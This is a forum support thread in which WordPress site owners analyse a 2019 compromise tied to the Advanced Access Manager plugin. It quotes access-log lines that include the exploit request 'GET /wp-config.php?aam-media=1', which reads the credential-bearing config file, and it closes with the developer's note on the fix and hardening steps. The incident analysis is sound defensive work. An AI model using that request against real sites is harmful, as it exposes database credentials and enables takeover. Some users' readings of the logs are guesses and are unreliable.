@karelnet

I can confirm that some of my sites were hacked even without Advanced Access Manager.

Well, I have Advanced Access Manager on only 1 website but 6 websites got hacked. The problem for me was, that my SQL Password was the same for all 6 websites. Do you have different sql passwords for all your sites or are they in one account? Please check your wp-config.php

Off course I have set different PW′s now for all sites. It was a dump mistake.

@marc77 Yes I have different MySQL passwords for websites. But all DB are on the same server. I’d find strange they could have access to all databases with different usernames/pass from one site ?
To be sure, I changed the root password…

I checked the logs. There was a SQL insertation on my websites at: [07/Sep/2019:00:02:20 +0200]

I my access.log I found arround this time:

Here is the IP – [07/Sep/2019:00:01:39 +0200] “GET /wp-config.php?aam-media=1 HTTP/1.0″ 301 254 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0”

Please see the get command: aam-media=1

Maybe aam-media stands for Advanced Access Manager?

And here comes from the same IP the next get commands from the access.log:

here is the same ip – – [07/Sep/2019:00:01:54 +0200] “POST /wp-login.php HTTP/1.0” 401 381 “/wp-admin/admin-ajax.php” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36”

here is the same ip – – [07/Sep/2019:00:01:57 +0200] “GET /wp-admin/profile.php HTTP/1.0” 301 249 “/wp-admin/profile.php” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36”

here is the same ip – – [07/Sep/2019:00:01:58 +0200] “GET /wp-admin/profile.php HTTP/1.0” 302 – “/wp-admin/profile.php” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36”

here is the same ip – – [07/Sep/2019:00:01:58 +0200] “GET /wp-login.php?redirect_to=https%3A%2F%2F%2Fwp-admin%2Fprofile.php&reauth=1 HTTP/1.0” 401 381 “/wp-admin/profile.php” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36”

That means after open the URL:

/wp-config.php?aam-media=1 with a 301 redirect

they made a post command to the

/wp-login.php HTTP/1.0″ 401 381 “/wp-admin/admin-ajax.php”

and then:

he update the Profile?

GET /wp-admin/profile.php HTTP/1.0″ 302 – “/wp-admin/profile.php”

https%3A%2F%2F%2Fwp-admin%2Fprofile.php&reauth=1

reauth=1 means they changed the password, right?

Please check my updates in the previous post.

Can you share the IP marc77? I would check in my logs.

@karelnet

I’d find strange they could have access to all databases with different usernames/pass from one site ?

yes, this is really strange. Maybe you have the same wp-login account + pw?

Ok, at 3 O′clock the second IP open myphpadmin:

50.63.162. – – [07/Sep/2019:00:03:05 +0200] “GET /phpmyadmin HTTP/1.0” 200 55883 “https://myurl/phpmyadmin” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0”

I invited the developer:

Hi !

I have the same issue, impossible to access my all website !! In practice, how do you escape from this hack ???

Hello guys,

I’m the primary developer for the Advanced Access Manager. Few days ago I’ve got anonymous feedback that there is a vulnerability in the plugin that allows to information about website through Media Access feature. The vulnerability was covered within couple hours from the time it was reported. The release 5.9.9 contained the fix and release 5.9.9.1 added additional enforcements to cover all possible cases.

AAM itself does not have the ability to change physical file integrity or perform SQL injections, so it definitely a combination of plugins.

These are the following steps that you can perform to eliminate any further issues:

1. Make sure that your website database is not publicly accessible (only from the website hosting box);
2. Regenerate salts in your wp-config.php file with this URL https://api.www.ads-software.com/secret-key/1.1/salt/;
3. Keep all your plugins and WordPress core up-to-date;

Regards,
Vasyl
